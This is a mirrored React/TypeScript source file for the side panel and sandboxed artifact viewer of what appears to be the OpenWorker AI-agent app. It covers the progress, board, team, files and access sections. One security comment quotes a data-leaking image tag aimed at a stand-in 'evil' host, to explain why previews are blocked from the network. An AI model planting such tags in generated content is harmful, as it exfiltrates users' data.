mirror of
https://github.com/andrewyng/openworker.git
synced 2026-09-13 15:50:02 +00:00
880 lines
33 KiB
TypeScript
880 lines
33 KiB
TypeScript
import { useEffect, useRef, useState, type ReactNode } from "react";
|
||
// Emits the asset URL only; the worker itself loads lazily with the pdfjs chunk.
|
||
import pdfWorkerUrl from "pdfjs-dist/build/pdf.worker.min.mjs?url";
|
||
import {
|
||
getArtifacts,
|
||
getJournalCases,
|
||
getRoots,
|
||
readArtifact,
|
||
revealArtifact,
|
||
type ArtifactContent,
|
||
type ArtifactInfo,
|
||
type Board,
|
||
type JournalCase,
|
||
type RootInfo,
|
||
} from "../api";
|
||
import type { SessionInfo, TodoItem } from "../types";
|
||
import { AccessSection } from "./AccessSection";
|
||
import { BoardSection } from "./BoardPanel";
|
||
import { Icon } from "./Icon";
|
||
import { Markdown, OPEN_ARTIFACT_EVENT } from "./Markdown";
|
||
|
||
type Panel = "progress" | "artifacts" | "board" | "journal" | "team" | "files";
|
||
|
||
// Quiet file-type icons for the artifact list (the colored kind pills read as noisy).
|
||
function kindIcon(kind: string): "file" | "fileCode" | "image" | "table" {
|
||
if (kind === "image") return "image";
|
||
if (kind === "html" || kind === "code") return "fileCode";
|
||
if (kind === "csv" || kind === "sheet") return "table";
|
||
return "file"; // markdown, text, pdf, everything else
|
||
}
|
||
|
||
// Fallback kind for an artifact: link whose path isn't in the list (yet) — mirrors the
|
||
// server's extension mapping closely enough for the viewer to pick a renderer.
|
||
function kindFromPath(path: string): string {
|
||
const ext = (path.split(".").pop() || "").toLowerCase();
|
||
if (["png", "jpg", "jpeg", "gif", "svg", "webp"].includes(ext)) return "image";
|
||
if (["html", "htm"].includes(ext)) return "html";
|
||
if (ext === "md") return "markdown";
|
||
if (ext === "csv") return "csv";
|
||
if (ext === "pdf") return "pdf";
|
||
if (["py", "js", "ts", "tsx", "jsx", "json", "sh", "css"].includes(ext)) return "code";
|
||
return "text";
|
||
}
|
||
|
||
interface Props {
|
||
active: boolean;
|
||
sessionId: string;
|
||
refreshKey: number;
|
||
toolNames: string[];
|
||
todo: TodoItem[];
|
||
running: boolean;
|
||
// Fires when a full artifact preview opens/closes, so the app can auto-collapse the left nav
|
||
// to give the preview (PDF/webpage/sheet) more room (#3).
|
||
onPreviewChange?: (open: boolean) => void;
|
||
// §32: the rail is the ONE session panel for every persona. Artifacts (scratch-side
|
||
// deliverables), Files (all roots), and Access all render for every session (UX-036/037).
|
||
showArtifacts?: boolean;
|
||
personaId?: string;
|
||
projectScoped?: boolean;
|
||
workspace?: string;
|
||
branch?: string | null;
|
||
scratchPrimary?: boolean;
|
||
openAccessKey?: number;
|
||
onOpenIntegrations?: () => void;
|
||
// Agent teams (OPE-96): App owns board data (the plan gate needs it too);
|
||
// the rail renders the summary section and the expand affordance.
|
||
board?: Board | null;
|
||
onExpandBoard?: () => void;
|
||
onOpenBoardItem?: (id: number) => void;
|
||
// Drawer restructure (seventeenth pass): the team lives HERE, not in the sidebar —
|
||
// member rows + the # team chat row. `isLead` also suppresses Progress (the board
|
||
// is the lead's progress surface).
|
||
isLead?: boolean;
|
||
teamMembers?: SessionInfo[];
|
||
teamChatEnabled?: boolean;
|
||
teamChatUnread?: number;
|
||
onOpenTeamChat?: () => void;
|
||
onOpenWorker?: (s: SessionInfo) => void;
|
||
// Bumped when a [.](board:) chip in the transcript is clicked — expands the Board section.
|
||
openBoardKey?: number;
|
||
}
|
||
|
||
export function RightRail({
|
||
active,
|
||
sessionId,
|
||
refreshKey,
|
||
toolNames,
|
||
todo,
|
||
running,
|
||
onPreviewChange,
|
||
showArtifacts = true,
|
||
personaId,
|
||
projectScoped,
|
||
workspace,
|
||
branch,
|
||
scratchPrimary,
|
||
openAccessKey = 0,
|
||
onOpenIntegrations,
|
||
board,
|
||
onExpandBoard,
|
||
onOpenBoardItem,
|
||
isLead = false,
|
||
teamMembers = [],
|
||
teamChatEnabled = false,
|
||
teamChatUnread = 0,
|
||
onOpenTeamChat,
|
||
onOpenWorker,
|
||
openBoardKey = 0,
|
||
}: Props) {
|
||
// Seventeenth pass: every panel starts collapsed and nothing auto-expands — a count
|
||
// chip is the maximum signal. One exception survives (solo sessions only): Progress
|
||
// still auto-opens the first time a live turn has todos.
|
||
const [open, setOpen] = useState<Record<Panel, boolean>>({
|
||
progress: false,
|
||
artifacts: false,
|
||
board: false,
|
||
journal: false,
|
||
team: false,
|
||
files: false,
|
||
});
|
||
const autoOpenedProgress = useRef(false);
|
||
useEffect(() => {
|
||
if (!isLead && running && todo.length > 0 && !autoOpenedProgress.current) {
|
||
autoOpenedProgress.current = true;
|
||
setOpen((prev) => ({ ...prev, progress: true }));
|
||
}
|
||
}, [running, todo.length, isLead]);
|
||
// A board chip in the transcript deep-links here: expand the Board section.
|
||
const seenBoardKey = useRef(openBoardKey);
|
||
useEffect(() => {
|
||
if (openBoardKey === seenBoardKey.current) return;
|
||
seenBoardKey.current = openBoardKey;
|
||
setOpen((prev) => ({ ...prev, board: true }));
|
||
}, [openBoardKey]);
|
||
const [artifacts, setArtifacts] = useState<ArtifactInfo[]>([]);
|
||
// UX-037 Files: the session's roots (workspace/scratch/grants) — the entry points of
|
||
// the file explorer.
|
||
const [rootDirs, setRootDirs] = useState<RootInfo[]>([]);
|
||
const [journal, setJournal] = useState<JournalCase[]>([]);
|
||
const [selected, setSelected] = useState<ArtifactInfo | null>(null);
|
||
const [content, setContent] = useState<ArtifactContent | null>(null);
|
||
|
||
const refreshArtifacts = () => getArtifacts(sessionId).then(setArtifacts).catch(() => setArtifacts([]));
|
||
|
||
useEffect(() => {
|
||
if (!active) return;
|
||
if (showArtifacts) refreshArtifacts();
|
||
}, [active, sessionId, refreshKey, showArtifacts]);
|
||
|
||
useEffect(() => {
|
||
if (!active) return;
|
||
getRoots(sessionId).then(setRootDirs).catch(() => setRootDirs([]));
|
||
}, [active, sessionId, refreshKey]);
|
||
|
||
// Journal cases surface only when a board exists — same visibility rule as the
|
||
// Board section, so plain sessions carry zero team chrome.
|
||
useEffect(() => {
|
||
if (!active || !board?.space) {
|
||
setJournal([]);
|
||
return;
|
||
}
|
||
getJournalCases().then(setJournal).catch(() => setJournal([]));
|
||
}, [active, sessionId, refreshKey, board?.space]);
|
||
|
||
// Switching conversations closes any open artifact — it belongs to the previous session's
|
||
// workspace, which the new session can't (and shouldn't) read.
|
||
useEffect(() => {
|
||
setSelected(null);
|
||
setContent(null);
|
||
}, [sessionId]);
|
||
|
||
useEffect(() => {
|
||
setContent(null);
|
||
if (!selected) return;
|
||
readArtifact(sessionId, selected.path).then(setContent).catch(() => setContent(null));
|
||
}, [selected?.path, sessionId]);
|
||
|
||
// Notify the app when a preview opens/closes (drives the left-nav auto-collapse).
|
||
useEffect(() => {
|
||
onPreviewChange?.(!!selected);
|
||
}, [!!selected, onPreviewChange]);
|
||
|
||
const reloadSelected = () => {
|
||
if (!selected) return Promise.resolve();
|
||
setContent(null);
|
||
return readArtifact(sessionId, selected.path).then(setContent).catch(() => setContent(null));
|
||
};
|
||
|
||
// §34 (UX-016): [Title](artifact:path) chips in the transcript open the viewer directly.
|
||
// Resolve against the loaded list first; on a miss, refresh once (the file may be
|
||
// seconds old), then fall back to a minimal record — readArtifact validates the path.
|
||
// Registered even while the rail is HIDDEN (owner-hit 2026-08-15): the chip fires ONE
|
||
// event, and App's unhide listener and this one race it — gating this on `active`
|
||
// dropped the selection, so the first click only opened an empty rail.
|
||
useEffect(() => {
|
||
if (!sessionId) return;
|
||
const minimal = (path: string): ArtifactInfo => ({
|
||
path,
|
||
name: path.split("/").pop() || path,
|
||
kind: kindFromPath(path),
|
||
size: 0,
|
||
modified_at: 0,
|
||
});
|
||
const match = (list: ArtifactInfo[], path: string) =>
|
||
list.find((a) => a.path === path || a.path.endsWith("/" + path) || a.name === path);
|
||
const onOpen = (e: Event) => {
|
||
const path = String((e as CustomEvent).detail?.path || "");
|
||
if (!path) return;
|
||
const found = match(artifacts, path);
|
||
if (found) {
|
||
setSelected(found);
|
||
return;
|
||
}
|
||
getArtifacts(sessionId)
|
||
.then((list) => {
|
||
setArtifacts(list);
|
||
setSelected(match(list, path) ?? minimal(path));
|
||
})
|
||
.catch(() => setSelected(minimal(path)));
|
||
};
|
||
window.addEventListener(OPEN_ARTIFACT_EVENT, onOpen);
|
||
return () => window.removeEventListener(OPEN_ARTIFACT_EVENT, onOpen);
|
||
}, [sessionId, artifacts]);
|
||
|
||
if (!active) return null;
|
||
|
||
return (
|
||
<aside className={"right-rail" + (selected ? " artifact-mode" : "")}>
|
||
{selected ? (
|
||
<ArtifactViewer
|
||
sessionId={sessionId}
|
||
artifact={selected}
|
||
content={content}
|
||
onReload={reloadSelected}
|
||
onBack={() => setSelected(null)}
|
||
onOpenEntry={(path) =>
|
||
setSelected({
|
||
path,
|
||
name: path.split("/").pop() || path,
|
||
kind: kindFromPath(path),
|
||
size: 0,
|
||
modified_at: 0,
|
||
origin: selected?.origin,
|
||
})
|
||
}
|
||
/>
|
||
) : (
|
||
<>
|
||
{/* Leads carry no Progress panel — the board IS the lead's progress surface. */}
|
||
{!isLead && (
|
||
<RailSection title="Progress" open={open.progress} onToggle={() => setOpen({ ...open, progress: !open.progress })}>
|
||
<ProgressSummary running={running} toolNames={toolNames} todo={todo} />
|
||
</RailSection>
|
||
)}
|
||
|
||
{/* Agent teams (OPE-96): board summary — grouped by state, blocked on top.
|
||
Hidden entirely until the workspace has items (no chrome for plain sessions). */}
|
||
{board?.space && (
|
||
<RailSection
|
||
title="Board"
|
||
count={boardChip(board).text}
|
||
countAttention={boardChip(board).attention}
|
||
open={open.board}
|
||
onToggle={() => setOpen({ ...open, board: !open.board })}
|
||
action={
|
||
<button
|
||
className="rail-mini-btn"
|
||
data-testid="board-expand"
|
||
onClick={(e) => {
|
||
e.stopPropagation();
|
||
onExpandBoard?.();
|
||
}}
|
||
title="Expand the board"
|
||
>
|
||
<Icon name="panelOpen" size={13} />
|
||
</button>
|
||
}
|
||
>
|
||
<BoardSection
|
||
board={board}
|
||
onExpand={() => onExpandBoard?.()}
|
||
onOpenItem={onOpenBoardItem}
|
||
/>
|
||
</RailSection>
|
||
)}
|
||
|
||
{/* The team panel: who's working, on what, and the way into their sessions —
|
||
the altitude-3 escape hatch, moved here from the sidebar (RECENT keeps ONE
|
||
entry per team: the lead). */}
|
||
{teamMembers.length > 0 && (
|
||
<RailSection
|
||
title="Team"
|
||
open={open.team}
|
||
onToggle={() => setOpen({ ...open, team: !open.team })}
|
||
count={String(teamMembers.length)}
|
||
>
|
||
<div className="rail-team" data-testid="team-panel">
|
||
{teamMembers.map((w) => (
|
||
<button
|
||
className="rail-team-row"
|
||
key={w.session_id}
|
||
data-testid={`team-row-${w.team?.actor || w.session_id}`}
|
||
onClick={() => onOpenWorker?.(w)}
|
||
title={`Open ${w.team?.actor || "worker"}'s session`}
|
||
>
|
||
<span className={"team-dot " + (w.team?.status || "idle")} />
|
||
<span className="rail-team-name">{w.team?.actor || w.agent}</span>
|
||
<span className="rail-team-item">{w.team?.current_item || "sleeping"}</span>
|
||
<span className="rail-team-open">open ↗</span>
|
||
</button>
|
||
))}
|
||
{teamChatEnabled && onOpenTeamChat && (
|
||
<button className="rail-team-row rail-chat-row" data-testid="team-chat-row" onClick={onOpenTeamChat}>
|
||
<span className="team-hash">#</span>
|
||
<span className="rail-team-name">team chat</span>
|
||
{teamChatUnread > 0 && <span className="team-chat-badge">{teamChatUnread}</span>}
|
||
</button>
|
||
)}
|
||
</div>
|
||
</RailSection>
|
||
)}
|
||
|
||
{showArtifacts && (
|
||
<RailSection
|
||
title="Artifacts"
|
||
count={artifacts.length ? String(artifacts.length) : undefined}
|
||
open={open.artifacts}
|
||
onToggle={() => setOpen({ ...open, artifacts: !open.artifacts })}
|
||
action={
|
||
<>
|
||
{artifacts.length > 0 && (
|
||
<button
|
||
className="rail-mini-btn"
|
||
onClick={(e) => { e.stopPropagation(); revealArtifact(sessionId, artifacts[0].path, "reveal"); }}
|
||
title="Show the folder where these files are saved"
|
||
>
|
||
<Icon name="folder" size={13} />
|
||
</button>
|
||
)}
|
||
<button className="rail-mini-btn" onClick={(e) => { e.stopPropagation(); refreshArtifacts(); }} title="Refresh artifacts"><Icon name="refresh" size={13} /></button>
|
||
</>
|
||
}
|
||
>
|
||
{artifacts.length === 0 ? (
|
||
<div className="rail-muted">No previewable files yet.</div>
|
||
) : (
|
||
<div className="artifact-list">
|
||
{artifacts.slice(0, 16).map((a) => (
|
||
<button className="artifact-row" key={a.path} onClick={() => setSelected(a)}>
|
||
<span className="artifact-ico" title={a.kind}>
|
||
<Icon name={kindIcon(a.kind)} size={17} />
|
||
</span>
|
||
<span className="artifact-name">
|
||
{a.name}
|
||
<span className="artifact-row-meta">{formatBytes(a.size)} · {formatTime(a.modified_at)}</span>
|
||
</span>
|
||
<span className="artifact-open">Open</span>
|
||
</button>
|
||
))}
|
||
</div>
|
||
)}
|
||
</RailSection>
|
||
)}
|
||
|
||
{/* The More fold is gone (owner call 2026-08-20): every section lists flat,
|
||
collapsed by default — with Files added, one extra click hid half the
|
||
drawer for no gain. */}
|
||
{board?.space && journal.length > 0 && (
|
||
<RailSection
|
||
title="Journal"
|
||
count={String(journal.length)}
|
||
open={open.journal}
|
||
onToggle={() => setOpen({ ...open, journal: !open.journal })}
|
||
>
|
||
<div className="journal-list" data-testid="journal-list">
|
||
{journal.map((c) => (
|
||
<div className="journal-row" key={c.case}>
|
||
<Icon name="file" size={13} />
|
||
<span className="journal-case">{c.case}</span>
|
||
<span className="journal-count">{c.entries} entr{c.entries === 1 ? "y" : "ies"}</span>
|
||
</div>
|
||
))}
|
||
</div>
|
||
</RailSection>
|
||
)}
|
||
{/* UX-037: Files — an explorer over the session's roots. Each root opens in
|
||
the artifact viewer, whose folder listings already click through; the
|
||
Artifacts section stays the curated scratch-only surface. */}
|
||
{rootDirs.length > 0 && (
|
||
<RailSection
|
||
title="Files"
|
||
count={String(rootDirs.length)}
|
||
open={open.files}
|
||
onToggle={() => setOpen({ ...open, files: !open.files })}
|
||
>
|
||
<div className="artifact-list" data-testid="files-roots">
|
||
{rootDirs.map((r) => (
|
||
<button
|
||
className="artifact-row"
|
||
key={r.path}
|
||
data-testid="files-root-row"
|
||
onClick={() =>
|
||
setSelected({
|
||
path: r.path,
|
||
abs_path: r.path,
|
||
name: r.label || r.path.split("/").pop() || r.path,
|
||
kind: "folder",
|
||
size: 0,
|
||
modified_at: 0,
|
||
origin: "files",
|
||
})
|
||
}
|
||
title={r.path}
|
||
>
|
||
<span className="artifact-ico">
|
||
<Icon name="folder" size={17} />
|
||
</span>
|
||
<span className="artifact-name">
|
||
{r.label || r.path.split("/").pop() || r.path}
|
||
<span className="artifact-row-meta">
|
||
{r.writable ? "read-write" : "read-only"}
|
||
{!r.exists ? " · missing" : ""}
|
||
</span>
|
||
</span>
|
||
<span className="artifact-open">Browse</span>
|
||
</button>
|
||
))}
|
||
</div>
|
||
</RailSection>
|
||
)}
|
||
|
||
{/* §32: Access — the former Session-settings drawer, one section among peers.
|
||
key: its data ownership resets with the conversation, like the old row did. */}
|
||
<div>
|
||
<AccessSection
|
||
key={sessionId}
|
||
sessionId={sessionId}
|
||
personaId={personaId}
|
||
projectScoped={projectScoped}
|
||
workspace={workspace}
|
||
branch={branch}
|
||
scratchPrimary={scratchPrimary}
|
||
openKey={openAccessKey}
|
||
onOpenIntegrations={onOpenIntegrations}
|
||
/>
|
||
</div>
|
||
</>
|
||
)}
|
||
</aside>
|
||
);
|
||
}
|
||
|
||
// The Board section's header chip: the attention states (blocked/review) when present,
|
||
// otherwise a quiet active count. Full per-state summary stays on the topbar button.
|
||
function boardChip(board: Board): { text: string; attention: boolean } {
|
||
const counts: Record<string, number> = {};
|
||
for (const item of board.items) counts[item.state] = (counts[item.state] || 0) + 1;
|
||
const attn: string[] = [];
|
||
if (counts.blocked) attn.push(`${counts.blocked} blocked`);
|
||
if (counts.review) attn.push(`${counts.review} review`);
|
||
if (attn.length) return { text: attn.join(" · "), attention: true };
|
||
const active = (counts.in_progress || 0) + (counts.open || 0);
|
||
return { text: active ? `${active} active` : "", attention: false };
|
||
}
|
||
|
||
function ProgressSummary({ running, toolNames, todo }: { running: boolean; toolNames: string[]; todo: TodoItem[] }) {
|
||
if (todo.length) {
|
||
return (
|
||
<div className="rail-todo-list">
|
||
{todo.map((item, index) => (
|
||
<div className={"rail-todo " + item.status} key={index}>
|
||
<span className="rail-todo-mark" />
|
||
<span>{item.content}</span>
|
||
</div>
|
||
))}
|
||
{running && (
|
||
<div className="rail-muted">
|
||
{toolNames.length ? `${toolNames.length} tool call${toolNames.length === 1 ? "" : "s"} so far.` : "Working..."}
|
||
</div>
|
||
)}
|
||
</div>
|
||
);
|
||
}
|
||
if (running) {
|
||
return (
|
||
<div className="rail-muted">
|
||
Working on this task{toolNames.length ? ` with ${toolNames.length} tool call${toolNames.length === 1 ? "" : "s"} so far.` : "."}
|
||
</div>
|
||
);
|
||
}
|
||
return (
|
||
<div className="rail-muted">
|
||
For longer multi-step tasks, progress will appear here while OpenWorker plans, uses tools, waits for approval, and produces artifacts.
|
||
</div>
|
||
);
|
||
}
|
||
|
||
function RailSection({
|
||
title,
|
||
open,
|
||
onToggle,
|
||
children,
|
||
action,
|
||
count,
|
||
countAttention,
|
||
}: {
|
||
title: string;
|
||
open: boolean;
|
||
onToggle: () => void;
|
||
children: ReactNode;
|
||
action?: ReactNode;
|
||
// The header's maximum signal: a small count chip; amber when it carries attention
|
||
// states (blocked/review). Panels never shout louder than this.
|
||
count?: string;
|
||
countAttention?: boolean;
|
||
}) {
|
||
return (
|
||
<section className="rail-section">
|
||
<div className="rail-section-head">
|
||
<button
|
||
className="rail-section-toggle"
|
||
data-testid={`rail-toggle-${title.toLowerCase()}`}
|
||
onClick={onToggle}
|
||
>
|
||
<Icon name={open ? "chevronDown" : "chevronRight"} size={14} className="rail-chev" />
|
||
<span>{title}</span>
|
||
{count && (
|
||
<span className={"rail-count" + (countAttention ? " attention" : "")}>{count}</span>
|
||
)}
|
||
</button>
|
||
{action}
|
||
</div>
|
||
{open && <div className="rail-section-body">{children}</div>}
|
||
</section>
|
||
);
|
||
}
|
||
|
||
// OPE-91: agent-authored HTML is untrusted active content rendered inside the PRIVILEGED
|
||
// app webview (Tauri IPC). The sandbox must therefore be airtight on two axes:
|
||
// - no `allow-same-origin`: with srcDoc, that flag would run the page same-origin with
|
||
// the app — scripts could reach the parent document and the IPC bridge.
|
||
// - no network: a poisoned report exfiltrates at DISPLAY time via subresources
|
||
// (<img src="https://evil/?leak=…">). The injected CSP allows inline style/script
|
||
// (what report interactivity needs) and data: images; everything remote is blocked.
|
||
// Injected at position 0 so it takes effect before any content the page declares.
|
||
const ARTIFACT_CSP =
|
||
'<meta http-equiv="Content-Security-Policy" content="default-src \'none\'; ' +
|
||
"style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src data:;\">";
|
||
|
||
function sandboxHtml(html: string): string {
|
||
return ARTIFACT_CSP + html;
|
||
}
|
||
|
||
function ArtifactViewer({
|
||
sessionId,
|
||
artifact,
|
||
content,
|
||
onReload,
|
||
onBack,
|
||
onOpenEntry,
|
||
}: {
|
||
sessionId: string;
|
||
artifact: ArtifactInfo;
|
||
content: ArtifactContent | null;
|
||
onReload: () => Promise<void>;
|
||
onBack: () => void;
|
||
// Folder listings: open a child entry in the viewer (files and subfolders alike).
|
||
onOpenEntry?: (path: string) => void;
|
||
}) {
|
||
const [reloadKey, setReloadKey] = useState(0);
|
||
const isHtml = content?.kind === "html" && !content.error;
|
||
// Best viewed in a real app: spreadsheets, PDFs, and Office docs (pptx/docx can't preview inline)
|
||
const isApp = content?.kind === "sheet" || content?.kind === "pdf" || content?.kind === "office";
|
||
|
||
return (
|
||
<div className="artifact-viewer">
|
||
<div className="artifact-head">
|
||
<button className="artifact-icon-btn" onClick={onBack} aria-label="Back to artifacts" title="Back">
|
||
<Icon name="arrowLeft" size={16} />
|
||
</button>
|
||
<div className="artifact-heading">
|
||
<div className="artifact-title"><span>{artifact.origin === "files" ? "Files" : "Artifacts"}</span><span className="artifact-sep">/</span><span>{artifact.name}</span></div>
|
||
<div className="artifact-path">{artifact.path}</div>
|
||
</div>
|
||
<div className="rail-actions">
|
||
{isHtml && (
|
||
<button
|
||
className="artifact-icon-btn"
|
||
onClick={async () => {
|
||
await onReload();
|
||
setReloadKey((k) => k + 1);
|
||
}}
|
||
aria-label="Reload preview"
|
||
title="Reload"
|
||
>
|
||
<Icon name="refresh" size={16} />
|
||
</button>
|
||
)}
|
||
{isApp && (
|
||
<button
|
||
className="artifact-icon-btn"
|
||
onClick={() => revealArtifact(sessionId, artifact.path, "open")}
|
||
aria-label="Open in default app"
|
||
title="Open in default app"
|
||
>
|
||
<Icon name="panelOpen" size={16} />
|
||
</button>
|
||
)}
|
||
{isHtml && (
|
||
// The sandboxed preview is deliberately offline and null-origin; a real
|
||
// browser tab (system default app, outside app privileges) is the escape
|
||
// hatch for sharing or printing the page.
|
||
<button
|
||
className="artifact-icon-btn"
|
||
data-testid="artifact-open-browser"
|
||
onClick={() => revealArtifact(sessionId, artifact.path, "open")}
|
||
aria-label="Open in browser"
|
||
title="Open in browser"
|
||
>
|
||
<Icon name="panelOpen" size={16} />
|
||
</button>
|
||
)}
|
||
{/* Copy the ABSOLUTE path — the workspace-relative one is useless outside the app
|
||
(tester catch 2026-07-12: it copied just "slack-connector-debug.md"). */}
|
||
<button
|
||
className="artifact-icon-btn"
|
||
onClick={() => navigator.clipboard?.writeText(artifact.abs_path || artifact.path)}
|
||
aria-label="Copy path"
|
||
title="Copy full path"
|
||
>
|
||
<Icon name="copy" size={16} />
|
||
</button>
|
||
<button
|
||
className="artifact-icon-btn"
|
||
onClick={() => revealArtifact(sessionId, artifact.path, "reveal")}
|
||
aria-label="Show in folder"
|
||
title="Show in folder"
|
||
>
|
||
<Icon name="folder" size={16} />
|
||
</button>
|
||
</div>
|
||
</div>
|
||
<div className="artifact-preview">
|
||
{!content ? (
|
||
<div className="rail-muted">Loading...</div>
|
||
) : content.error ? (
|
||
<div className="rail-error">{content.error}</div>
|
||
) : content.kind === "html" ? (
|
||
<iframe
|
||
key={`${artifact.path}-${reloadKey}`}
|
||
sandbox="allow-scripts"
|
||
className="artifact-frame"
|
||
data-testid="artifact-frame"
|
||
srcDoc={sandboxHtml(content.content || "")}
|
||
/>
|
||
) : content.kind === "markdown" ? (
|
||
<div className="artifact-md">
|
||
<Markdown text={content.content || ""} />
|
||
</div>
|
||
) : content.kind === "image" ? (
|
||
<img className="artifact-image" src={content.data_url} />
|
||
) : content.kind === "pdf" ? (
|
||
<PdfViewer dataUrl={content.data_url || ""} />
|
||
) : content.kind === "csv" ? (
|
||
<CsvTable text={content.content || ""} />
|
||
) : content.kind === "sheet" ? (
|
||
<SheetViewer dataUrl={content.data_url || ""} />
|
||
) : content.kind === "folder" ? (
|
||
// A linked directory (e.g. a skill package): render the listing, click through.
|
||
<div className="artifact-folderlist" data-testid="artifact-folder">
|
||
{(content.entries || []).map((e) => (
|
||
<button
|
||
key={e.name}
|
||
className="artifact-folder-row"
|
||
onClick={() => onOpenEntry?.(`${artifact.path.replace(/\/+$/, "")}/${e.name}`)}
|
||
>
|
||
<Icon name={e.dir ? "folder" : "file"} size={14} />
|
||
<span className="artifact-folder-name">{e.name}</span>
|
||
{!e.dir && <span className="artifact-folder-size">{formatBytes(e.size)}</span>}
|
||
</button>
|
||
))}
|
||
{!content.entries?.length && <div className="rail-muted">This folder is empty.</div>}
|
||
</div>
|
||
) : content.kind === "office" ? (
|
||
<div className="artifact-open-prompt">
|
||
<Icon name="panelOpen" size={28} />
|
||
<p>This {/\.pptx?$/i.test(artifact.name) ? "PowerPoint" : "Word"} file can’t be previewed here.</p>
|
||
<button className="btn sm" onClick={() => revealArtifact(sessionId, artifact.path, "open")}>
|
||
Open in default app
|
||
</button>
|
||
</div>
|
||
) : (
|
||
<pre className="artifact-code">{content.content}</pre>
|
||
)}
|
||
</div>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
const MAX_TABLE_ROWS = 500;
|
||
|
||
function GridTable({ rows, note }: { rows: unknown[][]; note?: string }) {
|
||
const [head, ...body] = rows;
|
||
return (
|
||
<div className="artifact-tablewrap">
|
||
<table className="artifact-table">
|
||
{head && (
|
||
<thead>
|
||
<tr>{head.map((c, i) => <th key={i}>{String(c ?? "")}</th>)}</tr>
|
||
</thead>
|
||
)}
|
||
<tbody>
|
||
{body.slice(0, MAX_TABLE_ROWS).map((r, i) => (
|
||
<tr key={i}>{r.map((c, j) => <td key={j}>{String(c ?? "")}</td>)}</tr>
|
||
))}
|
||
</tbody>
|
||
</table>
|
||
{(note || body.length > MAX_TABLE_ROWS) && (
|
||
<div className="rail-muted artifact-table-note">
|
||
{note}
|
||
{body.length > MAX_TABLE_ROWS ? ` Showing first ${MAX_TABLE_ROWS} of ${body.length} rows.` : ""}
|
||
</div>
|
||
)}
|
||
</div>
|
||
);
|
||
}
|
||
|
||
// Minimal RFC-4180-ish CSV parsing: quoted fields, escaped quotes, CRLF. TSV via tab sniffing.
|
||
function parseCsv(text: string): string[][] {
|
||
const delim = text.includes("\t") && !text.split("\n")[0]?.includes(",") ? "\t" : ",";
|
||
const rows: string[][] = [];
|
||
let row: string[] = [];
|
||
let cell = "";
|
||
let quoted = false;
|
||
for (let i = 0; i < text.length; i++) {
|
||
const ch = text[i];
|
||
if (quoted) {
|
||
if (ch === '"') {
|
||
if (text[i + 1] === '"') {
|
||
cell += '"';
|
||
i++;
|
||
} else quoted = false;
|
||
} else cell += ch;
|
||
} else if (ch === '"') quoted = true;
|
||
else if (ch === delim) {
|
||
row.push(cell);
|
||
cell = "";
|
||
} else if (ch === "\n" || ch === "\r") {
|
||
if (ch === "\r" && text[i + 1] === "\n") i++;
|
||
row.push(cell);
|
||
cell = "";
|
||
rows.push(row);
|
||
row = [];
|
||
} else cell += ch;
|
||
}
|
||
if (cell !== "" || row.length) {
|
||
row.push(cell);
|
||
rows.push(row);
|
||
}
|
||
return rows.filter((r) => r.some((c) => c !== ""));
|
||
}
|
||
|
||
function CsvTable({ text }: { text: string }) {
|
||
const rows = parseCsv(text);
|
||
if (!rows.length) return <div className="rail-muted artifact-table-note">Empty file.</div>;
|
||
return <GridTable rows={rows} />;
|
||
}
|
||
|
||
// xlsx/xls preview via SheetJS (loaded on demand — it's a heavy module): sheet tabs + a capped
|
||
// grid. Real spreadsheet work belongs in Numbers/Excel via "Open in default app".
|
||
// WKWebView has no inline PDF plugin (<embed> shows a gray pane in the Tauri shell), so we
|
||
// rasterize pages with pdf.js onto stacked canvases — same lazy-chunk pattern as SheetViewer.
|
||
function PdfViewer({ dataUrl }: { dataUrl: string }) {
|
||
const [error, setError] = useState("");
|
||
const [loading, setLoading] = useState(true);
|
||
const holder = useRef<HTMLDivElement | null>(null);
|
||
|
||
useEffect(() => {
|
||
let cancelled = false;
|
||
setError("");
|
||
setLoading(true);
|
||
const base64 = dataUrl.split(",")[1] || "";
|
||
import("pdfjs-dist")
|
||
.then(async (pdfjs) => {
|
||
pdfjs.GlobalWorkerOptions.workerSrc = pdfWorkerUrl;
|
||
const bytes = Uint8Array.from(atob(base64), (c) => c.charCodeAt(0));
|
||
const doc = await pdfjs.getDocument({ data: bytes }).promise;
|
||
const el = holder.current;
|
||
if (cancelled || !el) return;
|
||
el.innerHTML = "";
|
||
const width = el.clientWidth || 640;
|
||
const dpr = window.devicePixelRatio || 1;
|
||
for (let i = 1; i <= doc.numPages; i++) {
|
||
const page = await doc.getPage(i);
|
||
const base = page.getViewport({ scale: 1 });
|
||
const viewport = page.getViewport({ scale: (width / base.width) * dpr });
|
||
const canvas = document.createElement("canvas");
|
||
canvas.width = viewport.width;
|
||
canvas.height = viewport.height;
|
||
canvas.className = "artifact-pdf-page";
|
||
await page.render({ canvasContext: canvas.getContext("2d")!, viewport }).promise;
|
||
if (cancelled) return;
|
||
el.appendChild(canvas);
|
||
}
|
||
setLoading(false);
|
||
})
|
||
.catch((e) => !cancelled && setError(String(e?.message || e)));
|
||
return () => {
|
||
cancelled = true;
|
||
};
|
||
}, [dataUrl]);
|
||
|
||
if (error) return <div className="rail-error artifact-table-note">Could not render PDF: {error}</div>;
|
||
return (
|
||
<div className="artifact-pdfjs">
|
||
{loading && <div className="rail-muted artifact-table-note">Rendering PDF…</div>}
|
||
<div ref={holder} />
|
||
</div>
|
||
);
|
||
}
|
||
|
||
function SheetViewer({ dataUrl }: { dataUrl: string }) {
|
||
const [sheets, setSheets] = useState<{ name: string; rows: unknown[][] }[] | null>(null);
|
||
const [error, setError] = useState("");
|
||
const [active, setActive] = useState(0);
|
||
|
||
useEffect(() => {
|
||
let cancelled = false;
|
||
setSheets(null);
|
||
setError("");
|
||
setActive(0);
|
||
const base64 = dataUrl.split(",")[1] || "";
|
||
import("xlsx")
|
||
.then((XLSX) => {
|
||
if (cancelled) return;
|
||
const wb = XLSX.read(base64, { type: "base64" });
|
||
setSheets(
|
||
wb.SheetNames.map((name) => ({
|
||
name,
|
||
rows: XLSX.utils.sheet_to_json(wb.Sheets[name], { header: 1, defval: "" }) as unknown[][],
|
||
})),
|
||
);
|
||
})
|
||
.catch((e) => !cancelled && setError(String(e?.message || e)));
|
||
return () => {
|
||
cancelled = true;
|
||
};
|
||
}, [dataUrl]);
|
||
|
||
if (error) return <div className="rail-error artifact-table-note">Could not parse spreadsheet: {error}</div>;
|
||
if (!sheets) return <div className="rail-muted artifact-table-note">Parsing spreadsheet…</div>;
|
||
const sheet = sheets[active];
|
||
return (
|
||
<div className="sheet-viewer">
|
||
{sheets.length > 1 && (
|
